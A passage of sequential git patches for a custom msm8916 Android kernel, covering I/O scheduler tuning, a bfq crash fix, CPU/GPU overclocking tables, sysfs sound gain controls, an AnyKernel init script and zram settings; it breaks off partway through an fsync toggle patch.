2001 From: Dorimanx Date: Thu, 25 Jun 2015 04:24:27 -0400 Subject: [PATCH 191/365] block: zen: set fifo batch to 16 to reduce overload on eMMC and CPU. Conflicts: block/sio-iosched.c block/zen-iosched.c --- block/zen-iosched.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/block/zen-iosched.c b/block/zen-iosched.c index 24a384db5f45d..9d06e849ec181 100644 --- a/block/zen-iosched.c +++ b/block/zen-iosched.c @@ -17,9 +17,9 @@ enum zen_data_dir { ASYNC, SYNC }; -static const int sync_expire = HZ / 4; /* max time before a sync is submitted. */ -static const int async_expire = 2 * HZ; /* ditto for async, these limits are SOFT! */ -static const int fifo_batch = 1; +static const int sync_expire = HZ / 2; /* max time before a sync is submitted. */ +static const int async_expire = 5 * HZ; /* ditto for async, these limits are SOFT! */ +static const int fifo_batch = 16; struct zen_data { /* Runtime Data */ From e0486c3b9197c73ef16525ede36f0a29f1e0f835 Mon Sep 17 00:00:00 2001 From: guts94 Date: Sun, 11 Sep 2016 11:18:19 +0530 Subject: [PATCH 192/365] block: update zen scheduler to v1.1 --- block/zen-iosched.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/block/zen-iosched.c b/block/zen-iosched.c index 9d06e849ec181..eec16ad22d9ee 100644 --- a/block/zen-iosched.c +++ b/block/zen-iosched.c @@ -26,7 +26,7 @@ struct zen_data { /* Requests are only present on fifo_list */ struct list_head fifo_list[2]; - unsigned int batching; /* number of sequential requests made */ + unsigned int batching; /* number of sequential requests made */ /* tunables */ int fifo_expire[2]; @@ -41,17 +41,17 @@ zen_get_data(struct request_queue *q) { static void zen_dispatch(struct zen_data *, struct request *); static void -zen_merged_requests(struct request_queue *q, struct request *rq, +zen_merged_requests(struct request_queue *q, struct request *req, struct request *next) { /* * if next expires before rq, assign its expire time to arq * and move into next position (next will be deleted) in fifo */ - if (!list_empty(&rq->queuelist) && !list_empty(&next->queuelist)) { - if (time_before(rq_fifo_time(next), rq_fifo_time(rq))) { - list_move(&rq->queuelist, &next->queuelist); - rq_set_fifo_time(rq, rq_fifo_time(next)); + if (!list_empty(&req->queuelist) && !list_empty(&next->queuelist)) { + if (time_before(rq_fifo_time(next), rq_fifo_time(req))) { + list_move(&req->queuelist, &next->queuelist); + rq_set_fifo_time(req, rq_fifo_time(next)); } } @@ -62,11 +62,11 @@ zen_merged_requests(struct request_queue *q, struct request *rq, static void zen_add_request(struct request_queue *q, struct request *rq) { struct zen_data *zdata = zen_get_data(q); - const int dir = rq_data_dir(rq); + const int sync = rq_is_sync(rq); - if (zdata->fifo_expire[dir]) { - rq_set_fifo_time(rq, jiffies + zdata->fifo_expire[dir]); - list_add_tail(&rq->queuelist, &zdata->fifo_list[dir]); + if (zdata->fifo_expire[sync]) { + rq_set_fifo_time(rq, jiffies + zdata->fifo_expire[sync]); + list_add_tail(&rq->queuelist, &zdata->fifo_list[sync]); } } @@ -92,7 +92,7 @@ zen_expired_request(struct zen_data *zdata, int ddir) return NULL; rq = rq_entry_fifo(zdata->fifo_list[ddir].next); - if (time_after(jiffies, rq_fifo_time(rq))) + if (time_after_eq(jiffies, rq_fifo_time(rq))) return rq; return NULL; @@ -287,4 +287,4 @@ module_exit(zen_exit); MODULE_AUTHOR("Brandon Berhent"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Zen IO scheduler"); -MODULE_VERSION("1.0"); +MODULE_VERSION("1.1"); From 3f15568c007a0192fb6688032ccf72e3260a76aa Mon Sep 17 00:00:00 2001 From: Diogo Ferreira Date: Wed, 23 Nov 2016 14:46:50 +0000 Subject: [PATCH 193/365] bfq-sched: Forcefully lookup entities when the cache is inconsistent bfq maintains a 'next-in-service' cache to prevent expensive lookups in the hot path. However, the cache sometimes becomes inconsistent and triggers a BUG: [44042.622839] -(3)[154:mmcqd/0]BUG: failure at ../../../../../../kernel/cyanogen/mt6735/block/bfq-sched.c:72/bfq_check_next_in_service()! [44042.622858] -(3)[154:mmcqd/0]Unable to handle kernel paging request at virtual address 0000dead [44042.622866] -(3)[154:mmcqd/0]pgd = ffffffc001361000 [44042.622872] [0000dead] *pgd=000000007d816003, *pud=000000007d816003, *pmd=000000007d817003, *pte=0000000000000000 [44042.622890] -(3)[154:mmcqd/0]Internal error: Oops: 96000045 [#1] PREEMPT SMP [44042.622907] -(3)[154:mmcqd/0]CPU: 3 PID: 154 Comm: mmcqd/0 Tainted: [44042.622915] -(3)[154:mmcqd/0]Hardware name: MT6735 (DT) [44042.622922] -(3)[154:mmcqd/0]task: ffffffc0378a6000 ti: ffffffc0378c4000 [44042.622936] -(3)[154:mmcqd/0]PC is at bfq_dispatch_requests+0x6c4/0x9bc [44042.622944] -(3)[154:mmcqd/0]LR is at bfq_dispatch_requests+0x6bc/0x9bc [44042.622952] -(3)[154:mmcqd/0]pc : [] lr : [] pstate: 800001c5 [44042.622958] -(3)[154:mmcqd/0]sp : ffffffc0378c7d30 [44042.622962] x29: ffffffc0378c7d30 x28: 0000000000000000 [44042.622972] x27: 0000000000000000 x26: ffffffc006c58810 [44042.622981] x25: ffffffc037f89820 x24: ffffffc000f14000 [44042.622990] x23: ffffffc036adb088 x22: ffffffc0369b2800 [44042.623000] x21: ffffffc036adb098 x20: ffffffc01d6a3b60 [44042.623009] x19: ffffffc036adb0c8 x18: 0000007f8cfa1500 [44042.623018] x17: 0000007f8db44f40 x16: ffffffc00012d0c0 [44042.623027] x15: 0000007f8dde04d8 x14: 676f6e6179632f6c [44042.623037] x13: 656e72656b2f2e2e x12: 2f2e2e2f2e2e2f2e [44042.623046] x11: 2e2f2e2e2f2e2e20 x10: 7461206572756c69 [44042.623055] x9 : 6166203a4755425d x8 : 00000000001f0cc5 [44042.623064] x7 : ffffffc000f3d5a0 x6 : 000000000000008b [44042.623073] x5 : 0000000000000000 x4 : 0000000000000004 [44042.623082] x3 : 0000000000000002 x2 : 0000000000000001 [44042.623091] x1 : 0000000000000aee x0 : 000000000000dead This patch makes the lookup resilient to cache inconsistencies by doing the expensive recomputation in cases where the bug would otherwise be triggered. Ticket: PORRDIGE-527 Change-Id: I5dd701960057983a42d3d3bd57521e8d17c03d7f --- block/bfq-sched.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/block/bfq-sched.c b/block/bfq-sched.c index d0890c6d4c114..c3828a45b6715 100644 --- a/block/bfq-sched.c +++ b/block/bfq-sched.c @@ -1046,6 +1046,9 @@ static struct bfq_entity *bfq_lookup_next_entity(struct bfq_sched_data *sd, entity = __bfq_lookup_next_entity(st + i, false); if (entity != NULL) { if (extract) { + if (sd->next_in_service != entity) { + entity = __bfq_lookup_next_entity(st + i, true); + } bfq_check_next_in_service(sd, entity); bfq_active_extract(st + i, entity); sd->in_service_entity = entity; From 7b8e55311a03f052be71a06e5befcabaf9dba498 Mon Sep 17 00:00:00 2001 From: guts94 Date: Sun, 11 Sep 2016 11:40:32 +0530 Subject: [PATCH 194/365] block: set slice_idle to 0 on cfq --- block/cfq-iosched.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index 002e020cbb51d..61dd991213bde 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -30,7 +30,7 @@ static const int cfq_back_penalty = 2; static const int cfq_slice_sync = HZ / 10; static int cfq_slice_async = HZ / 25; static const int cfq_slice_async_rq = 2; -static int cfq_slice_idle = HZ / 125; +static int cfq_slice_idle = 0; static int cfq_group_idle = HZ / 125; static const int cfq_target_latency = HZ * 3/10; /* 300 ms */ static const int cfq_hist_divisor = 4; @@ -4609,7 +4609,7 @@ static int __init cfq_init(void) if (!cfq_slice_async) cfq_slice_async = 1; if (!cfq_slice_idle) - cfq_slice_idle = 1; + cfq_slice_idle = 0; #ifdef CONFIG_CFQ_GROUP_IOSCHED if (!cfq_group_idle) From 43af5016b2cdc91733b81c975c441699bfa7d10e Mon Sep 17 00:00:00 2001 From: Lucille Sylvester Date: Thu, 13 Nov 2014 15:52:41 -0700 Subject: [PATCH 195/365] msm: kgsl: Bump the GPU frequency for long blocks of processing If there are several frames of full GPU utilization immediately bump the frequency to turbo rather than waiting for the DCVS algorithm to run. Change-Id: I1215225f8903a8656e8ad92c6c82567b86665933 Signed-off-by: Lucille Sylvester --- drivers/devfreq/governor_msm_adreno_tz.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/drivers/devfreq/governor_msm_adreno_tz.c b/drivers/devfreq/governor_msm_adreno_tz.c index 6fad441fd8d26..8f251a64e3cdf 100644 --- a/drivers/devfreq/governor_msm_adreno_tz.c +++ b/drivers/devfreq/governor_msm_adreno_tz.c @@ -35,6 +35,13 @@ static DEFINE_SPINLOCK(tz_lock); * MIN_BUSY is 1 msec for the sample to be sent */ #define MIN_BUSY 1000 +/* + * Use BUSY_BIN to check for fully busy rendering + * intervals that may need early intervention when + * seen with LONG_FRAME lengths + */ +#define BUSY_BIN 95 +#define LONG_FRAME 25000 #define MAX_TZ_VERSION 0 /* @@ -177,6 +184,7 @@ static int tz_get_target_freq(struct devfreq *devfreq, unsigned long *freq, struct devfreq_dev_status stats; int val, level = 0; unsigned int scm_data[3]; + static int busy_bin, frame_flag; /* keeps stats.private_data == NULL */ result = devfreq->profile->get_dev_status(devfreq->dev.parent, &stats); @@ -201,6 +209,15 @@ static int tz_get_target_freq(struct devfreq *devfreq, unsigned long *freq, return 0; } + if ((stats.busy_time * 100 / stats.total_time) > BUSY_BIN) { + busy_bin += stats.busy_time; + if (stats.total_time > LONG_FRAME) + frame_flag = 1; + } else { + busy_bin = 0; + frame_flag = 0; + } + level = devfreq_get_freq_level(devfreq, stats.current_frequency); if (level < 0) { pr_err(TAG "bad freq %ld\n", stats.current_frequency); @@ -211,8 +228,11 @@ static int tz_get_target_freq(struct devfreq *devfreq, unsigned long *freq, * If there is an extended block of busy processing, * increase frequency. Otherwise run the normal algorithm. */ - if (priv->bin.busy_time > CEILING) { + if (priv->bin.busy_time > CEILING || + (busy_bin > CEILING && frame_flag)) { val = -1 * level; + busy_bin = 0; + frame_flag = 0; } else { scm_data[0] = level; From 6ca87a46745768eee470f2a858a2a877b97c154c Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Wed, 14 Dec 2016 11:43:30 +0530 Subject: [PATCH 196/365] msm8916: Overclock CPU/GPU to 1.84GHz/650Mhz --- arch/arm/boot/dts/qcom/msm8916-gpu.dtsi | 58 ++++++++-- arch/arm/boot/dts/qcom/msm8916-regulator.dtsi | 41 ++++--- arch/arm/boot/dts/qcom/msm8916.dtsi | 105 +++++++++++------- drivers/clk/qcom/clock-gcc-8916.c | 16 ++- 4 files changed, 152 insertions(+), 68 deletions(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi index da1fc561de77d..2a38c1aef8fe6 100644 --- a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi @@ -27,7 +27,7 @@ qcom,chipid = <0x03000600>; - qcom,initial-pwrlevel = <1>; + qcom,initial-pwrlevel = <3>; /* Idle Timeout = msec */ qcom,idle-timeout = <80>; @@ -85,24 +85,42 @@ qcom,gpu-pwrlevel@0 { reg = <0>; - qcom,gpu-freq = <400000000>; + qcom,gpu-freq = <650000000>; qcom,bus-freq = <3>; }; qcom,gpu-pwrlevel@1 { reg = <1>; - qcom,gpu-freq = <310000000>; - qcom,bus-freq = <2>; + qcom,gpu-freq = <550000000>; + qcom,bus-freq = <3>; }; qcom,gpu-pwrlevel@2 { reg = <2>; - qcom,gpu-freq = <200000000>; - qcom,bus-freq = <1>; + qcom,gpu-freq = <465000000>; + qcom,bus-freq = <2>; }; qcom,gpu-pwrlevel@3 { reg = <3>; + qcom,gpu-freq = <310000000>; + qcom,bus-freq = <1>; + }; + + qcom,gpu-pwrlevel@4 { + reg = <4>; + qcom,gpu-freq = <200000000>; + qcom,bus-freq = <1>; + }; + + qcom,gpu-pwrlevel@5 { + reg = <5>; + qcom,gpu-freq = <100000000>; + qcom,bus-freq = <1>; + }; + + qcom,gpu-pwrlevel@6 { + reg = <6>; qcom,gpu-freq = <19200000>; qcom,bus-freq = <0>; }; @@ -129,24 +147,42 @@ qcom,gpu-pwrlevel@0 { reg = <0>; - qcom,gpu-freq = <465000000>; + qcom,gpu-freq = <650000000>; qcom,bus-freq = <3>; }; qcom,gpu-pwrlevel@1 { reg = <1>; - qcom,gpu-freq = <310000000>; - qcom,bus-freq = <2>; + qcom,gpu-freq = <550000000>; + qcom,bus-freq = <3>; }; qcom,gpu-pwrlevel@2 { reg = <2>; - qcom,gpu-freq = <200000000>; - qcom,bus-freq = <1>; + qcom,gpu-freq = <465000000>; + qcom,bus-freq = <2>; }; qcom,gpu-pwrlevel@3 { reg = <3>; + qcom,gpu-freq = <310000000>; + qcom,bus-freq = <1>; + }; + + qcom,gpu-pwrlevel@4 { + reg = <4>; + qcom,gpu-freq = <200000000>; + qcom,bus-freq = <1>; + }; + + qcom,gpu-pwrlevel@5 { + reg = <5>; + qcom,gpu-freq = <100000000>; + qcom,bus-freq = <1>; + }; + + qcom,gpu-pwrlevel@6 { + reg = <6>; qcom,gpu-freq = <19200000>; qcom,bus-freq = <0>; }; diff --git a/arch/arm/boot/dts/qcom/msm8916-regulator.dtsi b/arch/arm/boot/dts/qcom/msm8916-regulator.dtsi index 2ef3076c60841..2f384cc445ffe 100644 --- a/arch/arm/boot/dts/qcom/msm8916-regulator.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-regulator.dtsi @@ -17,8 +17,8 @@ compatible = "qcom,spm-regulator"; regulator-name = "8916_s2"; reg = <0x1700 0x100>; - regulator-min-microvolt = <1050000>; - regulator-max-microvolt = <1350000>; + regulator-min-microvolt = <1000000>; + regulator-max-microvolt = <1400000>; }; }; }; @@ -50,7 +50,7 @@ regulator-name = "apc_corner"; qcom,cpr-fuse-corners = <3>; regulator-min-microvolt = <1>; - regulator-max-microvolt = <9>; + regulator-max-microvolt = <15>; qcom,cpr-voltage-ceiling = <1050000 1150000 1350000>; qcom,cpr-voltage-floor = <1050000 1050000 1162500>; @@ -87,25 +87,32 @@ <27 0 6 0>; qcom,cpr-init-voltage-ref = <1050000 1150000 1350000>; qcom,cpr-init-voltage-step = <10000>; - qcom,cpr-corner-map = <1 1 2 2 3 3 3 3 3>; + qcom,cpr-corner-map = <1 1 1 2 2 3 3 3 3 3 3 3 3 3 3>; qcom,cpr-corner-frequency-map = <1 200000000>, - <2 400000000>, - <3 533330000>, - <4 800000000>, - <5 998400000>, - <6 1094400000>, - <7 1152000000>, - <8 1209600000>, - <9 1363200000>; + <2 302400000>, + <3 400000000>, + <4 533330000>, + <5 800000000>, + <6 998400000>, + <7 1094400000>, + <8 1152000000>, + <9 1209600000>, + <10 1363200000>, + <11 1401600000>, + <12 1516800000>, + <13 1612800000>, + <14 1766400000>, + <15 1843200000>; + qcom,speed-bin-fuse-sel = <1 34 3 0>; qcom,pvs-version-fuse-sel = <0 55 2 0>; qcom,cpr-speed-bin-max-corners = - <0 0 2 4 8>, - <0 1 2 4 7>, - <2 0 2 4 9>, - <3 0 2 4 5>, - <3 1 2 4 5>; + <0 0 3 5 15>, + <0 1 3 5 8>, + <2 0 3 5 15>, + <3 0 3 5 6>, + <3 1 3 5 6>; qcom,cpr-quot-adjust-scaling-factor-max = <650>; qcom,cpr-enable; }; diff --git a/arch/arm/boot/dts/qcom/msm8916.dtsi b/arch/arm/boot/dts/qcom/msm8916.dtsi index 79502ce139638..0911153f08e44 100644 --- a/arch/arm/boot/dts/qcom/msm8916.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916.dtsi @@ -314,62 +314,85 @@ qcom,speed0-bin-v0 = < 0 0>, < 200000000 1>, - < 400000000 2>, - < 533333000 3>, - < 800000000 4>, - < 998400000 5>, - < 1094400000 6>, - < 1152000000 7>, - < 1209600000 8>; + < 302400000 2>, + < 400000000 3>, + < 533333000 4>, + < 800000000 5>, + < 998400000 6>, + < 1094400000 7>, + < 1152000000 8>, + < 1209600000 9>, + < 1363200000 10>, + < 1401600000 11>, + < 1516800000 12>, + < 1612800000 13>, + < 1766400000 14>, + < 1843200000 15>; qcom,speed1-bin-v0 = < 0 0>, < 200000000 1>, - < 400000000 2>, - < 533333000 3>, - < 800000000 4>, - < 998400000 5>, - < 1094400000 6>, - < 1152000000 7>; + < 302400000 2>, + < 400000000 3>, + < 533333000 4>, + < 800000000 5>, + < 998400000 6>, + < 1094400000 7>, + < 1152000000 8>; qcom,speed3-bin-v0 = < 0 0>, < 200000000 1>, - < 400000000 2>, - < 533333000 3>, - < 800000000 4>, - < 998400000 5>; + < 302400000 2>, + < 400000000 3>, + < 533333000 4>, + < 800000000 5>, + < 998400000 6>; qcom,speed0-bin-v1 = < 0 0>, < 200000000 1>, - < 400000000 2>, - < 533333000 3>, - < 800000000 4>, - < 998400000 5>, - < 1094400000 6>, - < 1152000000 7>, - < 1209600000 8>; + < 302400000 2>, + < 400000000 3>, + < 533333000 4>, + < 800000000 5>, + < 998400000 6>, + < 1094400000 7>, + < 1152000000 8>, + < 1209600000 9>, + < 1363200000 10>, + < 1401600000 11>, + < 1516800000 12>, + < 1612800000 13>, + < 1766400000 14>, + < 1843200000 15>; qcom,speed2-bin-v1 = < 0 0>, < 200000000 1>, - < 400000000 2>, - < 533333000 3>, - < 800000000 4>, - < 998400000 5>, - < 1094400000 6>, - < 1152000000 7>, - < 1209600000 8>, - < 1363200000 9>; + < 302400000 2>, + < 400000000 3>, + < 533333000 4>, + < 800000000 5>, + < 998400000 6>, + < 1094400000 7>, + < 1152000000 8>, + < 1209600000 9>, + < 1363200000 10>, + < 1401600000 11>, + < 1516800000 12>, + < 1612800000 13>, + < 1766400000 14>, + < 1843200000 15>; qcom,speed3-bin-v1 = < 0 0>, < 200000000 1>, - < 400000000 2>, - < 533333000 3>, - < 800000000 4>, - < 998400000 5>; + < 302400000 2>, + < 400000000 3>, + < 533333000 4>, + < 800000000 5>, + < 998400000 6>; }; cpubw: qcom,cpubw { @@ -398,7 +421,7 @@ < 400000 762>, < 800000 1525>, < 1094400 3051>, - < 1152000 4066>; + < 1843200 4066>; }; }; @@ -413,6 +436,7 @@ "cpu2_clk", "cpu3_clk"; qcom,cpufreq-table = < 200000 >, + < 302400 >, < 400000 >, < 533330 >, < 800000 >, @@ -420,7 +444,12 @@ < 1094400 >, < 1152000 >, < 1209600 >, - < 1363200 >; + < 1363200 >, + < 1401600 >, + < 1516800 >, + < 1612800 >, + < 1766400 >, + < 1843200 >; }; qcom,sps { diff --git a/drivers/clk/qcom/clock-gcc-8916.c b/drivers/clk/qcom/clock-gcc-8916.c index 635bfe4cadd7b..34087c71270d5 100644 --- a/drivers/clk/qcom/clock-gcc-8916.c +++ b/drivers/clk/qcom/clock-gcc-8916.c @@ -348,6 +348,13 @@ static struct pll_freq_tbl apcs_pll_freq[] = { F_APCS_PLL(1248000000, 65, 0x0, 0x1, 0x0, 0x0, 0x0), F_APCS_PLL(1363200000, 71, 0x0, 0x1, 0x0, 0x0, 0x0), F_APCS_PLL(1401600000, 73, 0x0, 0x1, 0x0, 0x0, 0x0), + F_APCS_PLL(1516800000, 79, 0x0, 0x1, 0x0, 0x0, 0x0), + F_APCS_PLL(1574400000, 82, 0x0, 0x1, 0x0, 0x0, 0x0), + F_APCS_PLL(1612800000, 84, 0x0, 0x1, 0x0, 0x0, 0x0), + F_APCS_PLL(1708800000, 89, 0x0, 0x1, 0x0, 0x0, 0x0), + F_APCS_PLL(1766400000, 92, 0x0, 0x1, 0x0, 0x0, 0x0), + F_APCS_PLL(1824000000, 95, 0x0, 0x1, 0x0, 0x0, 0x0), + F_APCS_PLL(1843200000, 96, 0x0, 0x1, 0x0, 0x0, 0x0), PLL_F_END }; @@ -583,6 +590,8 @@ static struct clk_freq_tbl ftbl_gcc_oxili_gfx3d_465_clk[] = { F( 310000000, gpll2, 3, 0, 0), F( 400000000, gpll0_aux, 2, 0, 0), F( 465000000, gpll2, 2, 0, 0), + F( 550000000, gpll2, 2, 0, 0), + F( 650000000, gpll2, 2, 0, 0), F_END }; @@ -598,6 +607,9 @@ static struct clk_freq_tbl ftbl_gcc_oxili_gfx3d_clk[] = { F( 294912000, gpll1, 3, 0, 0), F( 310000000, gpll2, 3, 0, 0), F( 400000000, gpll0_aux, 2, 0, 0), + F( 465000000, gpll2, 2, 0, 0), + F( 550000000, gpll2, 2, 0, 0), + F( 650000000, gpll2, 2, 0, 0), F_END }; @@ -610,8 +622,8 @@ static struct rcg_clk gfx3d_clk_src = { .c = { .dbg_name = "gfx3d_clk_src", .ops = &clk_ops_rcg, - VDD_DIG_FMAX_MAP3(LOW, 200000000, NOMINAL, 310000000, HIGH, - 400000000), + VDD_DIG_FMAX_MAP3(LOW, 100000000, NOMINAL, 310000000, HIGH, + 650000000), CLK_INIT(gfx3d_clk_src.c), }, }; From eec9a99834b29b6fcf632985469d1d74f2b232a6 Mon Sep 17 00:00:00 2001 From: flar2 Date: Sun, 14 Aug 2016 19:33:59 +0530 Subject: [PATCH 197/365] ASoC: msm8x16-wcd: Sound control --- sound/soc/codecs/Kconfig | 4 ++ sound/soc/codecs/msm8x16-wcd.c | 93 ++++++++++++++++++++++++++++++++++ 2 files changed, 97 insertions(+) diff --git a/sound/soc/codecs/Kconfig b/sound/soc/codecs/Kconfig index e0e935806cd96..e8dacaa675a56 100644 --- a/sound/soc/codecs/Kconfig +++ b/sound/soc/codecs/Kconfig @@ -620,3 +620,7 @@ config SND_SOC_MSM_HDMI_CODEC_RX help HDMI audio drivers should be built only if the platform supports hdmi panel. + + +config SOUND_CONTROL + bool "Sound control for msm8916" diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index 3a9b6d3e1eb1d..b869bc264b6e5 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -5501,6 +5501,83 @@ static void msm8x16_wcd_configure_cap(struct snd_soc_codec *codec, } } +#ifdef CONFIG_SOUND_CONTROL +static struct snd_soc_codec *sound_control_codec_ptr; + +static ssize_t headphone_gain_show(struct kobject *kobj, + struct kobj_attribute *attr, char *buf) +{ + return snprintf(buf, PAGE_SIZE, "%d %d\n", + snd_soc_read(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_RX1_VOL_CTL_B2_CTL), + snd_soc_read(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_RX2_VOL_CTL_B2_CTL) + ); +} + +static ssize_t headphone_gain_store(struct kobject *kobj, + struct kobj_attribute *attr, const char *buf, size_t count) +{ + + int input_l, input_r; + + sscanf(buf, "%d %d", &input_l, &input_r); + + if (input_l < -84 || input_l > 20) + input_l = 0; + + if (input_r < -84 || input_r > 20) + input_r = 0; + + snd_soc_write(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_RX1_VOL_CTL_B2_CTL, input_l); + snd_soc_write(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_RX2_VOL_CTL_B2_CTL, input_r); + + return count; +} + +static struct kobj_attribute headphone_gain_attribute = + __ATTR(headphone_gain, 0664, + headphone_gain_show, + headphone_gain_store); + +static ssize_t mic_gain_show(struct kobject *kobj, + struct kobj_attribute *attr, char *buf) +{ + return snprintf(buf, PAGE_SIZE, "%d\n", + snd_soc_read(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_TX1_VOL_CTL_GAIN)); +} + +static ssize_t mic_gain_store(struct kobject *kobj, + struct kobj_attribute *attr, const char *buf, size_t count) +{ + int input; + + sscanf(buf, "%d", &input); + + if (input < -10 || input > 20) + input = 0; + + snd_soc_write(sound_control_codec_ptr, MSM8X16_WCD_A_CDC_TX1_VOL_CTL_GAIN, input); + + return count; +} + +static struct kobj_attribute mic_gain_attribute = + __ATTR(mic_gain, 0664, + mic_gain_show, + mic_gain_store); + +static struct attribute *sound_control_attrs[] = { + &headphone_gain_attribute.attr, + &mic_gain_attribute.attr, + NULL, +}; + +static struct attribute_group sound_control_attr_group = { + .attrs = sound_control_attrs, +}; + +static struct kobject *sound_control_kobj; +#endif + static int msm8x16_wcd_codec_probe(struct snd_soc_codec *codec) { struct msm8x16_wcd_priv *msm8x16_wcd_priv; @@ -5511,6 +5588,10 @@ static int msm8x16_wcd_codec_probe(struct snd_soc_codec *codec) dev_dbg(codec->dev, "%s()\n", __func__); +#ifdef CONFIG_SOUND_CONTROL + sound_control_codec_ptr = codec; +#endif + msm8x16_wcd_priv = kzalloc(sizeof(struct msm8x16_wcd_priv), GFP_KERNEL); if (!msm8x16_wcd_priv) { dev_err(codec->dev, "Failed to allocate private data\n"); @@ -6028,6 +6109,18 @@ static int msm8x16_wcd_spmi_probe(struct spmi_device *spmi) } dev_set_drvdata(&spmi->dev, msm8x16); +#ifdef CONFIG_SOUND_CONTROL + sound_control_kobj = kobject_create_and_add("sound_control", kernel_kobj); + if (sound_control_kobj == NULL) { + pr_warn("%s kobject create failed!\n", __func__); + } + + ret = sysfs_create_group(sound_control_kobj, &sound_control_attr_group); + if (ret) { + pr_warn("%s sysfs file create failed!\n", __func__); + } +#endif + ret = snd_soc_register_codec(&spmi->dev, &soc_codec_dev_msm8x16_wcd, msm8x16_wcd_i2s_dai, ARRAY_SIZE(msm8x16_wcd_i2s_dai)); From 73d2dc4a0bc52f60768d3da45532940671c0f5a3 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Wed, 14 Dec 2016 19:40:05 +0530 Subject: [PATCH 198/365] msm8916: dts: set boot_cpus to max possible --- arch/arm/boot/dts/qcom/msm8916.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/boot/dts/qcom/msm8916.dtsi b/arch/arm/boot/dts/qcom/msm8916.dtsi index 0911153f08e44..688b0bc67daac 100644 --- a/arch/arm/boot/dts/qcom/msm8916.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916.dtsi @@ -25,7 +25,7 @@ interrupt-parent = <&intc>; chosen { - bootargs = "sched_enable_hmp=1"; + bootargs = "boot_cpus=0,1,2,3 sched_enable_hmp=1"; }; aliases { From c8e5919936b0d0b2b873bad6f8a1c1b164cde293 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Wed, 14 Dec 2016 19:48:36 +0530 Subject: [PATCH 199/365] anykernel: add zetsubou init script --- AnyKernel2/anykernel.sh | 2 ++ AnyKernel2/ramdisk/init.zetsubou.rc | 20 ++++++++++++++++++++ 2 files changed, 22 insertions(+) create mode 100644 AnyKernel2/ramdisk/init.zetsubou.rc diff --git a/AnyKernel2/anykernel.sh b/AnyKernel2/anykernel.sh index 2fe82ede813d8..a6ef4bb3bca3e 100755 --- a/AnyKernel2/anykernel.sh +++ b/AnyKernel2/anykernel.sh @@ -34,6 +34,8 @@ dump_boot; # begin ramdisk changes +# add zetsubou initialization script +insert_line init.rc "import /init.zetsubou.rc" after "import /init.cm.rc" "import /init.zetsubou.rc"; # end ramdisk changes diff --git a/AnyKernel2/ramdisk/init.zetsubou.rc b/AnyKernel2/ramdisk/init.zetsubou.rc new file mode 100644 index 0000000000000..a593b535ffb17 --- /dev/null +++ b/AnyKernel2/ramdisk/init.zetsubou.rc @@ -0,0 +1,20 @@ +# Zetsubou init script +# Thanks to franciscofranco, ak, nathanchancellor and frap129 + +on property:sys.boot_completed=1 + # set I/O scheduler + write /sys/block/mmcblk0/queue/rq_affinity 0 + write /sys/block/mmcblk0/bdi/min_ratio 5 + write /sys/block/mmcblk0/queue/read_ahead_kb 256 + + # set stock CPU frequency + # a53 max 1.2GHz + chown system system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq + chmod 0664 /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq + write /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 1209600 + + # set stock GPU frequency + write /sys/class/kgsl/kgsl-3d0/devfreq/max_freq 310000000 + + # enable laptop mode + write /proc/sys/vm/laptop_mode 1 From 065aa05caec1ff005a14aae0230d2a285c087c8d Mon Sep 17 00:00:00 2001 From: Francisco Franco Date: Mon, 31 Oct 2016 02:33:14 +0000 Subject: [PATCH 200/365] zram: make sure we use lz4 and appropriate compression streams number Signed-off-by: Francisco Franco Signed-off-by: flar2 --- drivers/block/zram/zram_drv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drivers/block/zram/zram_drv.c b/drivers/block/zram/zram_drv.c index f9605860f86ef..8b3c157c34c76 100644 --- a/drivers/block/zram/zram_drv.c +++ b/drivers/block/zram/zram_drv.c @@ -38,7 +38,7 @@ /* Globals */ static int zram_major; static struct zram *zram_devices; -static const char *default_compressor = "lzo"; +static const char *default_compressor = "lz4"; /* Module params (documentation at end) */ static unsigned int num_devices = 1; @@ -1187,7 +1187,7 @@ static int create_device(struct zram *zram, int device_id) } strlcpy(zram->compressor, default_compressor, sizeof(zram->compressor)); zram->meta = NULL; - zram->max_comp_streams = 1; + zram->max_comp_streams = CONFIG_NR_CPUS; return 0; out_free_disk: From 67c7cc377494645a871064b2033989699bef2b53 Mon Sep 17 00:00:00 2001 From: franciscofranco Date: Wed, 21 Nov 2012 23:45:56 -0800 Subject: [PATCH 201/365] Added fsync on/off support. Signed-off-by: Francisco Franco Signed-off-by: flar2 --- fs/sync.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/fs/sync.c b/fs/sync.c index 905f3f6b3d856..3bffb89a41f36 100644 --- a/fs/sync.c +++ b/fs/sync.c @@ -7,6 +7,7 @@ #include #include #include +#include #include 